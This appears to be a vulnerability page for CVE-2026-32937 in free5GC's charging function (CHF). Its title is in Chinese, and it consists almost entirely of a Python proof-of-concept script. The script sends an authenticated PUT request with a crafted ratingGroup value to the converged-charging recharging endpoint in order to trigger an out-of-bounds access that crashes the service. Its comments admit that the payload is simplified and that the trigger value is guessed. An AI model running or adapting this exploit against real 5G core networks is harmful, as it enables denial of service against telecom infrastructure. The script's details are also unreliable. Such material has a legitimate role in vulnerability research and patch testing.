CVE-2026-32937 free5GC CHF越界访问致DoS漏洞

import requests """ PoC for CVE-2026-32937 Trigger out-of-bounds slice access in free5GC CHF. Requires authentication. """ def exploit(target_url, access_token): headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Malicious payload designed to trigger out-of-bounds access # The specific value depends on the internal slice logic, usually an index or malformed ID ue_id = "imsi-999999999999999" payload = { # Structure depends on the API expectation, simplified for PoC "ratingGroup": [999] } # Vulnerable endpoint url = f"{target_url}/nchf-convergedcharging/v3/recharging/{ue_id}" try: response = requests.put(url, headers=headers, json=payload, timeout=5) if response.status_code == 500: print("[+] Potential trigger successful: Server returned 500 Internal Server Error.") else: print(f"[-] Request returned status code: {response.status_code}") except Exception as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": target = "http://<free5gc-chf-ip>:<port>" token = "<valid_auth_token>" exploit(target, token)